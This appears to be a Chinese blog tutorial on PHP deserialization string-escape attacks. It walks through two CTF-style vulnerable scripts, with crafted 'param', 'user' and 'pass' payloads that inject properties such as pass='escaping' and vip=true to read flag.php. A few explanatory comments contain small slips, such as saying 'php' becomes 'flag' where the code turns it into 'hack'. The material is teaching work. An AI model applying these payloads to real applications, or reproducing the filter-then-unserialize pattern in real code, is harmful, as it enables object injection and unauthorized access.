php反序列化学习——字符串逃逸

一.字符串可逃逸的基础

反序列化分隔符
反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。

对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。

过滤后字符变多

过滤后字符变少

二.例题

字符串变多

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

先分析一下这里需要让pass的值为escaping

但是class类里赋了pass='daydream'

所以我们的思路就是要让后面的pass='daydream'被注释掉

通过控制可控的变量user 给pass赋值为escaping

代码分析

<?php

function filter($name)
{
  $safe = array("flag", "php");
  $name = str_replace($safe, "hack", $name);//把flag或者php变为hack 这里我们只能利用php 因为flag和hack长度一样 不会出现逃逸
  return $name;//这里先判断出字符串长度是增加了
}
class test
{
  var $user;
  var $pass = 'daydream';
  function __construct($user)
  {
    $this->user = $user;
  }
}
$param = $_GET['param'];
$param = serialize(new test($param));
$profile = unserialize(filter($param));

if ($profile->pass == 'escaping') {//如果这里pass的值为escaping
  echo file_get_contents("flag.php");//显示文件flag.php
}

构造payload

<?php

function filter($name)
{
  $safe = array("flag", "php");
  $name = str_replace($safe, "hack", $name); //把flag或者php变为hack 这里我们只能利用php 因为flag和hack长度一样 不会出现逃逸
  return $name; //这里先判断出字符串长度是增加了
}
class test
{
  var $user;
  var $pass = 'escaping';
  function __construct($user)
  {
    $this->user = $user;
  }
}
$param = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
$param = serialize(new test($param));
$a = filter($param);
//$profile = unserialize(filter($param));

echo $a;//O:4:"test":2:{s:4:"user";s:3:"hack";s:4:"pass";s:8:"daydream";}
//这里的php已经变成flag了
//但是字符串长度还是3 
//这里的思路也是通过构造让后面的k变成‘ ";s:4:"pass";s:8:"escaping";} ’
//让后面的";s:4:"pass";s:8:"daydream";}被注释掉
//$param = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'


这里的通过filter($param)

php已经变成flag了
但是字符串长度还是3
这里的思路也是通过构造让后面的k变成‘ ";s:4:"pass";s:8:"escaping";} ’(29个字符)说明我们前面应该有29个php
让后面的";s:4:"pass";s:8:"daydream";}被注释掉
$param = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'

输出结果

O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}

这里正好hack...是116个字符

证明我们构造成功

字符串减少

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);//调用fliter函数把里面含有flag或者php字符串的堵换成hk
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

分析

当vip为的值为真值时 显示flag.php

所以我们要控制可控变量使vip的布尔值为真

把后面vip为假的时候注释掉

这里把flag 或者php替代成hk 可以减少一个或者两个字符

这里以flag为例(减少一半工程量)

<?php
function filter($name)
{
  $safe = array("flag", "php");
  $name = str_replace($safe, "hk", $name);
  return $name;
}

class test
{
  var $user;
  var $pass;
  var $vip = false;
  function __construct($user, $pass)
  {
    $this->user = $user;
    $this->pass = $pass;
  }
}

// $param = 'flagflag'; // $_GET['user'];
// $pass = 'b'; //$_GET['pass'];

$param = 'flagflagflagflagflagflagflagflagflagflag';
$pass = '1";s:4:"pass";s:1:"b";s:3:"vip";b:1;}';

$param = serialize(new test($param, $pass)); //把$param和$pass的值赋值给$user和$pass  //O:4:"test":3:{s:4:"user";s:1:"a";s:4:"pass";s:1:"b";s:3:"vip";b:0;}
//echo $param;
 $a = filter($param);
 echo $a;//O:4:"test":3:{s:4:"user";s:8:"hkhk";s:4:"pass";s:1:"b";}
//这里user的字符串已经从flagflag 替换成了hkhk 但是字符串长度还是8 这样 他就会以为user里面的内容为‘hkhk";s:’
//如果我们通过构造使其里面的内容为'hkhk";s:4:"pass";s:xx:"' 这样我们通过构造可控变量pass的值 让它后面变成s:3:"vip";b:1;}
//反序列化时候检查到;}就会结束  就相当于后面s:1:"b";}被我们注释掉了
//pass=1";s:4:"pass";s:1:"b";s:3:"vip";b:1;}
//param=flagflagflagflagflagflagflagflagflagflag

这里user的字符串已经从flagflag 替换成了hkhk 但是字符串长度还是8 这样 他就会以为user里面的内容为‘hkhk";s:’
如果我们通过构造使其里面的内容为'hkhk";s:4:"pass";s:xx:"' 这样我们通过构造可控变量pass的值 让它后面变成s:3:"vip";b:1;}
反序列化时候检查到;}就会结束  就相当于后面s:1:"b";}被我们注释掉了

payload:
pass=1";s:4:"pass";s:1:"b";s:3:"vip";b:1;}
param=flagflagflagflagflagflagflagflagflagflag

输出

O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:37:"1";s:4:"pass";s:1:"b";s:3:"vip";b:1;}";s:3:"vip";b:0;}

 巧妙构造user = ‘ hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:37:"1 ’

表示我们构造成功

over

  • 18
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值